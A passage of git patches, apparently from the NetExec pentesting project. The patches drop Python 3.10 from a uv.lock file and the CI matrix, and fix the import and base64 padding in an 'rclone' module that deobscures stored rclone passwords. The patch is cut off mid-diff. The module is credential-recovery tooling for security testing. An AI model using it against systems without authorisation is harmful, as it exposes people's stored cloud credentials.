"https://files.pythonhosted.org/packages/43/3a/41114a9f7569b84b4d84e7a018c57c56347dac30c0d4a872946ec4e36c46/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7bfb192b3f4b9e8a89b6277b6ce787564f62cfd272055f6e685726b111dc7826", size = 1972827, upload-time = "2026-05-06T13:38:19.841Z" }, @@ -2021,11 +1893,9 @@ version = "7.4.4" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "colorama", marker = "sys_platform == 'win32'" }, - { name = "exceptiongroup", marker = "python_full_version < '3.11'" }, { name = "iniconfig" }, { name = "packaging" }, { name = "pluggy" }, - { name = "tomli", marker = "python_full_version < '3.11'" }, ] sdist = { url = "https://files.pythonhosted.org/packages/80/1f/9d8e98e4133ffb16c90f3b405c43e38d3abb715bb5d7a63a5a684f7e46a3/pytest-7.4.4.tar.gz", hash = "sha256:2cf0005922c6ace4a3e2ec8b4080eb0d9753fdc93107415332f50ce9e7994280", size = 1357116, upload-time = "2023-12-31T12:00:18.035Z" } wheels = [ @@ -2163,13 +2033,6 @@ dependencies = [ ] sdist = { url = "https://files.pythonhosted.org/packages/3b/21/77b4c147963073040dc3c3a5cb7a8c3001a1893c0209432cb77f9df836aa/sqlalchemy-2.0.52.tar.gz", hash = "sha256:5e2d46356ac2ccb7d268ab6c2319ac6a2b42f1b8d5fd8bd3d46855cd82abee97", size = 9945637, upload-time = "2026-08-11T19:07:09.829Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/a6/d7/e0354e7334d33ea2795db3ecbe2977026c05a1ecf8ba4b5953c329872453/sqlalchemy-2.0.52-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a7438774e1091192fc50a2bd8ceff5c596912d00ecd46587e88effdea7826101", size = 2172616, upload-time = "2026-08-11T20:58:21.078Z" }, - { url = "https://files.pythonhosted.org/packages/5b/64/98eef682e6946eb1b4195a9a2393db4662ebfcc89f823ae78b938765c3c0/sqlalchemy-2.0.52-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6c1b7ed45bf87b214e0a9def9c2313949067efe6269db5ef18d542ee13250af7", size = 3279798, upload-time = "2026-08-11T21:00:03.535Z" }, - { url = "https://files.pythonhosted.org/packages/20/05/5b96afc1407c314347ad006b72bb251fb68ef84d05505ebf8a39bc47fcde/sqlalchemy-2.0.52-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:309cc8ba50fc5d2174189dfcd49cdf7aa711f8346afcff19f2642ae4fc449c14", size = 3277555, upload-time = "2026-08-11T21:05:47.932Z" }, - { url = "https://files.pythonhosted.org/packages/50/69/ce6776724511d1b5dd40477b08d6a5f0953a45375e092dfa852b1857732c/sqlalchemy-2.0.52-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:2f9eccf8793c8c3f8dd2dfd11b9e400cb27d1d19370ef732b66017e212107822", size = 3231246, upload-time = "2026-08-11T21:00:05.184Z" }, - { url = "https://files.pythonhosted.org/packages/72/19/ab0cb9ccdafa2419c796ae62f8740aedb903f1e93bb326064b1a0147e458/sqlalchemy-2.0.52-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9255ceb65a80c1b001129060b63ee776a2e9c288be3b662be36dfbb888fffdcd", size = 3250763, upload-time = "2026-08-11T21:05:49.664Z" }, - { url = "https://files.pythonhosted.org/packages/41/f2/3c9b54b61bec4f493c0007dc9e2700c963c5b32667e21a506f1aca7a8115/sqlalchemy-2.0.52-cp310-cp310-win32.whl", hash = "sha256:2e15b1d1116a64fc399b8c2694a83f3e792fdc58df28514a81e1dc4f8cf22729", size = 2132169, upload-time = "2026-08-11T21:09:48.108Z" }, - { url = "https://files.pythonhosted.org/packages/b3/a1/934bb6cf543a398c72784d1fc777eb530559c16ebe1549fa7611e5989ce9/sqlalchemy-2.0.52-cp310-cp310-win_amd64.whl", hash = "sha256:11560064cc4696e772298b6221ede59e646386d9f2a85d549365473b972f7850", size = 2156289, upload-time = "2026-08-11T21:09:49.429Z" }, { url = "https://files.pythonhosted.org/packages/6b/08/cc5f7627b92f1456bc0b5fb7e98af4600248abe422a44da0d17a3fe6a448/sqlalchemy-2.0.52-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e0c3ce43907374889f3352bdcc6195c970148a2cb71574cd0237a5071a37fb6c", size = 2172460, upload-time = "2026-08-11T20:58:22.429Z" }, { url = "https://files.pythonhosted.org/packages/ed/dc/9a2abad8bfc8fdcd38c64adc056aeefab7aaa96ecd32f5e8c140e6375f17/sqlalchemy-2.0.52-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7a0d48c4b80717c61385b4e966e087c839a66cfd7b780641dcb428f4dba65608", size = 3355720, upload-time = "2026-08-11T21:00:06.746Z" }, { url = "https://files.pythonhosted.org/packages/a8/73/e75597b5841043e3c74055d00d4feb53d9a49a5c89ba2450d2d9aab53597/sqlalchemy-2.0.52-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:938325a5373267afc53bfbe72983b20fbd64ca47842aac62433c3da1137ecff1", size = 3354394, upload-time = "2026-08-11T21:05:51.454Z" }, @@ -2208,9 +2071,6 @@ version = "0.5.0" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/a7/e6/d0d74b18bed8c16949fddc0401005c072947ae7bf1bab982ed28f9ebc2d8/sspilib-0.5.0.tar.gz", hash = "sha256:b62f7f2602aa1add0505eee2417e2df24421224cb411e53bf3ae42a71b62fe98", size = 59920, upload-time = "2025-12-03T00:31:05.564Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/6d/cb/7cc967b48d182cb012229ccc9f9e3fd5e245b7f0c80667297ddded580877/sspilib-0.5.0-cp310-cp310-win32.whl", hash = "sha256:8dab68e994d24a08f854d36ac96409b3b8cc03fdebc590925f76f9d733c3a902", size = 475882, upload-time = "2025-12-03T00:30:23.403Z" }, - { url = "https://files.pythonhosted.org/packages/7b/0d/7746ade4e3c4dba6c6d9b2afe3c3903f4bcab2da6b300b5d81afee089196/sspilib-0.5.0-cp310-cp310-win_amd64.whl", hash = "sha256:9e1947df07110ee1861009fc117bd089a7710403f3f5c488fb52a6e00b7c5b84", size = 563068, upload-time = "2025-12-03T00:30:24.605Z" }, - { url = "https://files.pythonhosted.org/packages/8d/fb/6821418037e9d78179153e770e2b0280956f28f4bf51069dcbcc0348505d/sspilib-0.5.0-cp310-cp310-win_arm64.whl", hash = "sha256:28d0eb944f7ff70bc99fe729d06fa230aec1649c5bc216809e359cd0c77d4840", size = 486370, upload-time = "2025-12-03T00:30:26.21Z" }, { url = "https://files.pythonhosted.org/packages/ce/1b/dd9066491168933b0f7ab6e396ac58cc024c8954e95264c38e3dc9363d7c/sspilib-0.5.0-cp311-abi3-win32.whl", hash = "sha256:fcb57b41b3200ef2e6e8846e2a13799d20b35b796267f2f75cc65e3883e8eeb6", size = 451246, upload-time = "2025-12-03T00:30:36.685Z" }, { url = "https://files.pythonhosted.org/packages/17/6a/a11abf90172ff580ac2f9ade3496d868e05e851c4ecf487dd5baeb966b1d/sspilib-0.5.0-cp311-abi3-win_amd64.whl", hash = "sha256:ca2a21a4e90db563c2cec639c66b3a29ea53129a0c55ff1e4154a02937f6bd45", size = 540777, upload-time = "2025-12-03T00:30:38.44Z" }, { url = "https://files.pythonhosted.org/packages/45/05/983876d281b9e7926f1c9126e72de8bd5928b1de45433163f54d4e217502/sspilib-0.5.0-cp311-abi3-win_arm64.whl", hash = "sha256:6893bad16f122fc3c4bd908461b9728694465c05ca97c22f7e2094791c4ee3cb", size = 470353, upload-time = "2025-12-03T00:30:39.63Z" }, @@ -2246,60 +2106,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/ea/66/6053d908e5789877ee702c102935634961a731e3db7d1caa2f1201a99598/terminaltables3-4.0.0-py3-none-any.whl", hash = "sha256:93b4c722f35400a7869cd630e2bbab616b129d1c47c628765c7f47baab2ca270", size = 15806, upload-time = "2024-07-21T17:07:24.85Z" }, ] -[[package]] -name = "tomli" -version = "2.4.1" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/22/de/48c59722572767841493b26183a0d1cc411d54fd759c5607c4590b6563a6/tomli-2.4.1.tar.gz", hash = "sha256:7c7e1a961a0b2f2472c1ac5b69affa0ae1132c39adcb67aba98568702b9cc23f", size = 17543, upload-time = "2026-03-25T20:22:03.828Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/f4/11/db3d5885d8528263d8adc260bb2d28ebf1270b96e98f0e0268d32b8d9900/tomli-2.4.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f8f0fc26ec2cc2b965b7a3b87cd19c5c6b8c5e5f436b984e85f486d652285c30", size = 154704, upload-time = "2026-03-25T20:21:10.473Z" }, - { url = "https://files.pythonhosted.org/packages/6d/f7/675db52c7e46064a9aa928885a9b20f4124ecb9bc2e1ce74c9106648d202/tomli-2.4.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4ab97e64ccda8756376892c53a72bd1f964e519c77236368527f758fbc36a53a", size = 149454, upload-time = "2026-03-25T20:21:12.036Z" }, - { url = "https://files.pythonhosted.org/packages/61/71/81c50943cf953efa35bce7646caab3cf457a7d8c030b27cfb40d7235f9ee/tomli-2.4.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:96481a5786729fd470164b47cdb3e0e58062a496f455ee41b4403be77cb5a076", size = 237561, upload-time = "2026-03-25T20:21:13.098Z" }, - { url = "https://files.pythonhosted.org/packages/48/c1/f41d9cb618acccca7df82aaf682f9b49013c9397212cb9f53219e3abac37/tomli-2.4.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5a881ab208c0baf688221f8cecc5401bd291d67e38a1ac884d6736cbcd8247e9", size = 243824, upload-time = "2026-03-25T20:21:14.569Z" }, - { url = "https://files.pythonhosted.org/packages/22/e4/5a816ecdd1f8ca51fb756ef684b90f2780afc52fc67f987e3c61d800a46d/tomli-2.4.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:47149d5bd38761ac8be13a84864bf0b7b70bc051806bc3669ab1cbc56216b23c", size = 242227, upload-time = "2026-03-25T20:21:15.712Z" }, - { url = "https://files.pythonhosted.org/packages/6b/49/2b2a0ef529aa6eec245d25f0c703e020a73955ad7edf73e7f54ddc608aa5/tomli-2.4.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ec9bfaf3ad2df51ace80688143a6a4ebc09a248f6ff781a9945e51937008fcbc", size = 247859, upload-time = "2026-03-25T20:21:17.001Z" }, - { url = "https://files.pythonhosted.org/packages/83/bd/6c1a630eaca337e1e78c5903104f831bda934c426f9231429396ce3c3467/tomli-2.4.1-cp311-cp311-win32.whl", hash = "sha256:ff2983983d34813c1aeb0fa89091e76c3a22889ee83ab27c5eeb45100560c049", size = 97204, upload-time = "2026-03-25T20:21:18.079Z" }, - { url = "https://files.pythonhosted.org/packages/42/59/71461df1a885647e10b6bb7802d0b8e66480c61f3f43079e0dcd315b3954/tomli-2.4.1-cp311-cp311-win_amd64.whl", hash = "sha256:5ee18d9ebdb417e384b58fe414e8d6af9f4e7a0ae761519fb50f721de398dd4e", size = 108084, upload-time = "2026-03-25T20:21:18.978Z" }, - { url = "https://files.pythonhosted.org/packages/b8/83/dceca96142499c069475b790e7913b1044c1a4337e700751f48ed723f883/tomli-2.4.1-cp311-cp311-win_arm64.whl", hash = "sha256:c2541745709bad0264b7d4705ad453b76ccd191e64aa6f0fc66b69a293a45ece", size = 95285, upload-time = "2026-03-25T20:21:20.309Z" }, - { url = "https://files.pythonhosted.org/packages/c1/ba/42f134a3fe2b370f555f44b1d72feebb94debcab01676bf918d0cb70e9aa/tomli-2.4.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c742f741d58a28940ce01d58f0ab2ea3ced8b12402f162f4d534dfe18ba1cd6a", size = 155924, upload-time = "2026-03-25T20:21:21.626Z" }, - { url = "https://files.pythonhosted.org/packages/dc/c7/62d7a17c26487ade21c5422b646110f2162f1fcc95980ef7f63e73c68f14/tomli-2.4.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7f86fd587c4ed9dd76f318225e7d9b29cfc5a9d43de44e5754db8d1128487085", size = 150018, upload-time = "2026-03-25T20:21:23.002Z" }, - { url = "https://files.pythonhosted.org/packages/5c/05/79d13d7c15f13bdef410bdd49a6485b1c37d28968314eabee452c22a7fda/tomli-2.4.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ff18e6a727ee0ab0388507b89d1bc6a22b138d1e2fa56d1ad494586d61d2eae9", size = 244948, upload-time = "2026-03-25T20:21:24.04Z" }, - { url = "https://files.pythonhosted.org/packages/10/90/d62ce007a1c80d0b2c93e02cab211224756240884751b94ca72df8a875ca/tomli-2.4.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:136443dbd7e1dee43c68ac2694fde36b2849865fa258d39bf822c10e8068eac5", size = 253341, upload-time = "2026-03-25T20:21:25.177Z" }, - { url = "https://files.pythonhosted.org/packages/1a/7e/caf6496d60152ad4ed09282c1885cca4eea150bfd007da84aea07bcc0a3e/tomli-2.4.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:5e262d41726bc187e69af7825504c933b6794dc3fbd5945e41a79bb14c31f585", size = 248159, upload-time = "2026-03-25T20:21:26.364Z" }, - { url = "https://files.pythonhosted.org/packages/99/e7/c6f69c3120de34bbd882c6fba7975f3d7a746e9218e56ab46a1bc4b42552/tomli-2.4.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:5cb41aa38891e073ee49d55fbc7839cfdb2bc0e600add13874d048c94aadddd1", size = 253290, upload-time = "2026-03-25T20:21:27.46Z" }, - { url = "https://files.pythonhosted.org/packages/d6/2f/4a3c322f22c5c66c4b836ec58211641a4067364f5dcdd7b974b4c5da300c/tomli-2.4.1-cp312-cp312-win32.whl", hash = "sha256:da25dc3563bff5965356133435b757a795a17b17d01dbc0f42fb32447ddfd917", size = 98141, upload-time = "2026-03-25T20:21:28.492Z" }, - { url = "https://files.pythonhosted.org/packages/24/22/4daacd05391b92c55759d55eaee21e1dfaea86ce5c571f10083360adf534/tomli-2.4.1-cp312-cp312-win_amd64.whl", hash = "sha256:52c8ef851d9a240f11a88c003eacb03c31fc1c9c4ec64a99a0f922b93874fda9", size = 108847, upload-time = "2026-03-25T20:21:29.386Z" }, - { url = "https://files.pythonhosted.org/packages/68/fd/70e768887666ddd9e9f5d85129e84910f2db2796f9096aa02b721a53098d/tomli-2.4.1-cp312-cp312-win_arm64.whl", hash = "sha256:f758f1b9299d059cc3f6546ae2af89670cb1c4d48ea29c3cacc4fe7de3058257", size = 95088, upload-time = "2026-03-25T20:21:30.677Z" }, - { url = "https://files.pythonhosted.org/packages/07/06/b823a7e818c756d9a7123ba2cda7d07bc2dd32835648d1a7b7b7a05d848d/tomli-2.4.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:36d2bd2ad5fb9eaddba5226aa02c8ec3fa4f192631e347b3ed28186d43be6b54", size = 155866, upload-time = "2026-03-25T20:21:31.65Z" }, - { url = "https://files.pythonhosted.org/packages/14/6f/12645cf7f08e1a20c7eb8c297c6f11d31c1b50f316a7e7e1e1de6e2e7b7e/tomli-2.4.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:eb0dc4e38e6a1fd579e5d50369aa2e10acfc9cace504579b2faabb478e76941a", size = 149887, upload-time = "2026-03-25T20:21:33.028Z" }, - { url = "https://files.pythonhosted.org/packages/5c/e0/90637574e5e7212c09099c67ad349b04ec4d6020324539297b634a0192b0/tomli-2.4.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c7f2c7f2b9ca6bdeef8f0fa897f8e05085923eb091721675170254cbc5b02897", size = 243704, upload-time = "2026-03-25T20:21:34.51Z" }, - { url = "https://files.pythonhosted.org/packages/10/8f/d3ddb16c5a4befdf31a23307f72828686ab2096f068eaf56631e136c1fdd/tomli-2.4.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f3c6818a1a86dd6dca7ddcaaf76947d5ba31aecc28cb1b67009a5877c9a64f3f", size = 251628, upload-time = "2026-03-25T20:21:36.012Z" }, - { url = "https://files.pythonhosted.org/packages/e3/f1/dbeeb9116715abee2485bf0a12d07a8f31af94d71608c171c45f64c0469d/tomli-2.4.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d312ef37c91508b0ab2cee7da26ec0b3ed2f03ce12bd87a588d771ae15dcf82d", size = 247180, upload-time = "2026-03-25T20:21:37.136Z" }, - { url = "https://files.pythonhosted.org/packages/d3/74/16336ffd19ed4da28a70959f92f506233bd7cfc2332b20bdb01591e8b1d1/tomli-2.4.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:51529d40e3ca50046d7606fa99ce3956a617f9b36380da3b7f0dd3dd28e68cb5", size = 251674, upload-time = "2026-03-25T20:21:38.298Z" }, - { url = "https://files.pythonhosted.org/packages/16/f9/229fa3434c590ddf6c0aa9af64d3af4b752540686cace29e6281e3458469/tomli-2.4.1-cp313-cp313-win32.whl", hash = "sha256:2190f2e9dd7508d2a90ded5ed369255980a1bcdd58e52f7fe24b8162bf9fedbd", size = 97976, upload-time = "2026-03-25T20:21:39.316Z" }, - { url = "https://files.pythonhosted.org/packages/6a/1e/71dfd96bcc1c775420cb8befe7a9d35f2e5b1309798f009dca17b7708c1e/tomli-2.4.1-cp313-cp313-win_amd64.whl", hash = "sha256:8d65a2fbf9d2f8352685bc1364177ee3923d6baf5e7f43ea4959d7d8bc326a36", size = 108755, upload-time = "2026-03-25T20:21:40.248Z" }, - { url = "https://files.pythonhosted.org/packages/83/7a/d34f422a021d62420b78f5c538e5b102f62bea616d1d75a13f0a88acb04a/tomli-2.4.1-cp313-cp313-win_arm64.whl", hash = "sha256:4b605484e43cdc43f0954ddae319fb75f04cc10dd80d830540060ee7cd0243cd", size = 95265, upload-time = "2026-03-25T20:21:41.219Z" }, - { url = "https://files.pythonhosted.org/packages/3c/fb/9a5c8d27dbab540869f7c1f8eb0abb3244189ce780ba9cd73f3770662072/tomli-2.4.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:fd0409a3653af6c147209d267a0e4243f0ae46b011aa978b1080359fddc9b6cf", size = 155726, upload-time = "2026-03-25T20:21:42.23Z" }, - { url = "https://files.pythonhosted.org/packages/62/05/d2f816630cc771ad836af54f5001f47a6f611d2d39535364f148b6a92d6b/tomli-2.4.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:a120733b01c45e9a0c34aeef92bf0cf1d56cfe81ed9d47d562f9ed591a9828ac", size = 149859, upload-time = "2026-03-25T20:21:43.386Z" }, - { url = "https://files.pythonhosted.org/packages/ce/48/66341bdb858ad9bd0ceab5a86f90eddab127cf8b046418009f2125630ecb/tomli-2.4.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:559db847dc486944896521f68d8190be1c9e719fced785720d2216fe7022b662", size = 244713, upload-time = "2026-03-25T20:21:44.474Z" }, - { url = "https://files.pythonhosted.org/packages/df/6d/c5fad00d82b3c7a3ab6189bd4b10e60466f22cfe8a08a9394185c8a8111c/tomli-2.4.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:01f520d4f53ef97964a240a035ec2a869fe1a37dde002b57ebc4417a27ccd853", size = 252084, upload-time = "2026-03-25T20:21:45.62Z" }, - { url = "https://files.pythonhosted.org/packages/00/71/3a69e86f3eafe8c7a59d008d245888051005bd657760e96d5fbfb0b740c2/tomli-2.4.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7f94b27a62cfad8496c8d2513e1a222dd446f095fca8987fceef261225538a15", size = 247973, upload-time = "2026-03-25T20:21:46.937Z" }, - { url = "https://files.pythonhosted.org/packages/67/50/361e986652847fec4bd5e4a0208752fbe64689c603c7ae5ea7cb16b1c0ca/tomli-2.4.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:ede3e6487c5ef5d28634ba3f31f989030ad6af71edfb0055cbbd14189ff240ba", size = 256223, upload-time = "2026-03-25T20:21:48.467Z" }, - { url = "https://files.pythonhosted.org/packages/8c/9a/b4173689a9203472e5467217e0154b00e260621caa227b6fa01feab16998/tomli-2.4.1-cp314-cp314-win32.whl", hash = "sha256:3d48a93ee1c9b79c04bb38772ee1b64dcf18ff43085896ea460ca8dec96f35f6", size = 98973, upload-time = "2026-03-25T20:21:49.526Z" }, - { url = "https://files.pythonhosted.org/packages/14/58/640ac93bf230cd27d002462c9af0d837779f8773bc03dee06b5835208214/tomli-2.4.1-cp314-cp314-win_amd64.whl", hash = "sha256:88dceee75c2c63af144e456745e10101eb67361050196b0b6af5d717254dddf7", size = 109082, upload-time = "2026-03-25T20:21:50.506Z" }, - { url = "https://files.pythonhosted.org/packages/d5/2f/702d5e05b227401c1068f0d386d79a589bb12bf64c3d2c72ce0631e3bc49/tomli-2.4.1-cp314-cp314-win_arm64.whl", hash = "sha256:b8c198f8c1805dc42708689ed6864951fd2494f924149d3e4bce7710f8eb5232", size = 96490, upload-time = "2026-03-25T20:21:51.474Z" }, - { url = "https://files.pythonhosted.org/packages/45/4b/b877b05c8ba62927d9865dd980e34a755de541eb65fffba52b4cc495d4d2/tomli-2.4.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:d4d8fe59808a54658fcc0160ecfb1b30f9089906c50b23bcb4c69eddc19ec2b4", size = 164263, upload-time = "2026-03-25T20:21:52.543Z" }, - { url = "https://files.pythonhosted.org/packages/24/79/6ab420d37a270b89f7195dec5448f79400d9e9c1826df982f3f8e97b24fd/tomli-2.4.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7008df2e7655c495dd12d2a4ad038ff878d4ca4b81fccaf82b714e07eae4402c", size = 160736, upload-time = "2026-03-25T20:21:53.674Z" }, - { url = "https://files.pythonhosted.org/packages/02/e0/3630057d8eb170310785723ed5adcdfb7d50cb7e6455f85ba8a3deed642b/tomli-2.4.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1d8591993e228b0c930c4bb0db464bdad97b3289fb981255d6c9a41aedc84b2d", size = 270717, upload-time = "2026-03-25T20:21:55.129Z" }, - { url = "https://files.pythonhosted.org/packages/7a/b4/1613716072e544d1a7891f548d8f9ec6ce2faf42ca65acae01d76ea06bb0/tomli-2.4.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:734e20b57ba95624ecf1841e72b53f6e186355e216e5412de414e3c51e5e3c41", size = 278461, upload-time = "2026-03-25T20:21:56.228Z" }, - { url = "https://files.pythonhosted.org/packages/05/38/30f541baf6a3f6df77b3df16b01ba319221389e2da59427e221ef417ac0c/tomli-2.4.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8a650c2dbafa08d42e51ba0b62740dae4ecb9338eefa093aa5c78ceb546fcd5c", size = 274855, upload-time = "2026-03-25T20:21:57.653Z" }, - { url = "https://files.pythonhosted.org/packages/77/a3/ec9dd4fd2c38e98de34223b995a3b34813e6bdadf86c75314c928350ed14/tomli-2.4.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:504aa796fe0569bb43171066009ead363de03675276d2d121ac1a4572397870f", size = 283144, upload-time = "2026-03-25T20:21:59.089Z" }, - { url = "https://files.pythonhosted.org/packages/ef/be/605a6261cac79fba2ec0c9827e986e00323a1945700969b8ee0b30d85453/tomli-2.4.1-cp314-cp314t-win32.whl", hash = "sha256:b1d22e6e9387bf4739fbe23bfa80e93f6b0373a7f1b96c6227c32bef95a4d7a8", size = 108683, upload-time = "2026-03-25T20:22:00.214Z" }, - { url = "https://files.pythonhosted.org/packages/12/64/da524626d3b9cc40c168a13da8335fe1c51be12c0a63685cc6db7308daae/tomli-2.4.1-cp314-cp314t-win_amd64.whl", hash = "sha256:2c1c351919aca02858f740c6d33adea0c5deea37f9ecca1cc1ef9e884a619d26", size = 121196, upload-time = "2026-03-25T20:22:01.169Z" }, - { url = "https://files.pythonhosted.org/packages/5a/cd/e80b62269fc78fc36c9af5a6b89c835baa8af28ff5ad28c7028d60860320/tomli-2.4.1-cp314-cp314t-win_arm64.whl", hash = "sha256:eab21f45c7f66c13f2a9e0e1535309cee140182a9cdae1e041d02e47291e8396", size = 100393, upload-time = "2026-03-25T20:22:02.137Z" }, - { url = "https://files.pythonhosted.org/packages/7b/61/cceae43728b7de99d9b847560c262873a1f6c98202171fd5ed62640b494b/tomli-2.4.1-py3-none-any.whl", hash = "sha256:0d85819802132122da43cb86656f8d1f8c6587d54ae7dcaf30e90533028b49fe", size = 14583, upload-time = "2026-03-25T20:22:03.012Z" }, -] - [[package]] name = "tqdm" version = "4.70.0" @@ -2392,8 +2198,6 @@ name = "windows-curses" version = "2.4.2" source = { registry = "https://pypi.org/simple" } wheels = [ - { url = "https://files.pythonhosted.org/packages/d1/6c/21393045010dd74887c71f1738f2bb1e60758c04d74cc97cefc03731a6d6/windows_curses-2.4.2-cp310-cp310-win32.whl", hash = "sha256:fb55b40df1dd8633f431307f204293ca2a0b4f928927490509f1bf68beef3cfe", size = 71143, upload-time = "2026-03-31T12:44:33.2Z" }, - { url = "https://files.pythonhosted.org/packages/1c/aa/4a67a104ab4d6ac4d5d5f8f80363feec688d7846180c5ca69327f602196a/windows_curses-2.4.2-cp310-cp310-win_amd64.whl", hash = "sha256:0ff2a0884cb78d48e15eea1e274f73c1f5a780a4b872357724c17b39de75c996", size = 81848, upload-time = "2026-03-31T12:44:34.869Z" }, { url = "https://files.pythonhosted.org/packages/d1/58/5fd430fec0ebe1cef88ddccba345ca119f1b44e58f58d6998878a01c9973/windows_curses-2.4.2-cp311-cp311-win32.whl", hash = "sha256:ecf7af9c97002af661d3e47b9c5eb31cdb7629a032adcdab46530efea8ba1864", size = 71135, upload-time = "2026-03-31T12:44:35.863Z" }, { url = "https://files.pythonhosted.org/packages/84/62/e2bae0ab9c5c80dca9a708a4cb9c8afaf0ef61c8d4459b57f96785040831/windows_curses-2.4.2-cp311-cp311-win_amd64.whl", hash = "sha256:03c4ef0095ab8212ed964236d51b4d8c815f302c5a7de94831dae468f05ce333", size = 81863, upload-time = "2026-03-31T12:44:36.834Z" }, { url = "https://files.pythonhosted.org/packages/2e/9c/b2a3706c8edadae8ae88b327ba072d6056ad1b492f9996214cff027e9f01/windows_curses-2.4.2-cp312-cp312-win32.whl", hash = "sha256:7ec4629685add716d494e8fbdd0b83485de726e9deeda57d30e742c77a32a156", size = 71547, upload-time = "2026-03-31T12:44:37.797Z" }, From 609f03a1843378f0fe45d078e94a0b97a01a0e52 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 2 Oct 2026 19:11:08 -0400 Subject: [PATCH 383/397] Remove py3.10 --- .github/workflows/test.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index 2c2566ed09..38acdcf3ac 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -14,7 +14,7 @@ jobs: max-parallel: 5 matrix: os: [ubuntu-latest] - python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"] + python-version: ["3.11", "3.12", "3.13", "3.14"] steps: - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1 - name: Install uv From 7135d89d92d362373c842bf3c922d8d568e083a5 Mon Sep 17 00:00:00 2001 From: BepuSun Date: Sun, 4 Oct 2026 15:03:26 -0400 Subject: [PATCH 384/397] fix rclone padding and library --- nxc/modules/rclone.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/modules/rclone.py b/nxc/modules/rclone.py index 34365d44b4..185d3839cc 100644 --- a/nxc/modules/rclone.py +++ b/nxc/modules/rclone.py @@ -1,5 +1,5 @@ import base64 -from Crypto.Cipher import AES +from Cryptodome.Cipher import AES from io import BytesIO from nxc.helpers.misc import CATEGORY @@ -83,6 +83,6 @@ def deobscure(self, obscured): return crypter.decrypt(buf).decode("utf-8") def base64_urlsafedecode(self, string): - padding = 4 - (len(string) % 4) + padding = (4 - len(string) % 4) % 4 string += "=" * padding return base64.urlsafe_b64decode(string) From ec6d41f10ec6cad79873c72d494bff051846af9a Mon Sep 17 00:00:00 2001 From: BepuSun Date: Sun, 4 Oct 2026 15:19:41 -0400 Subject: [PATCH 385/397] fix rclone padding and library --- nxc/modules/rclone.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/nxc/modules/rclone.py b/nxc/modules/rclone.py index 185d3839cc..e08945e33c 100644 --- a/nxc/modules/rclone.py +++ b/nxc/modules/rclone.py @@ -3,6 +3,7 @@ from io import BytesIO from nxc.helpers.misc import CATEGORY +CRT_IV_LENGTH = 16 # AES-256-CRT uses 16-byte IV class NXCModule: name = "rclone" @@ -76,8 +77,8 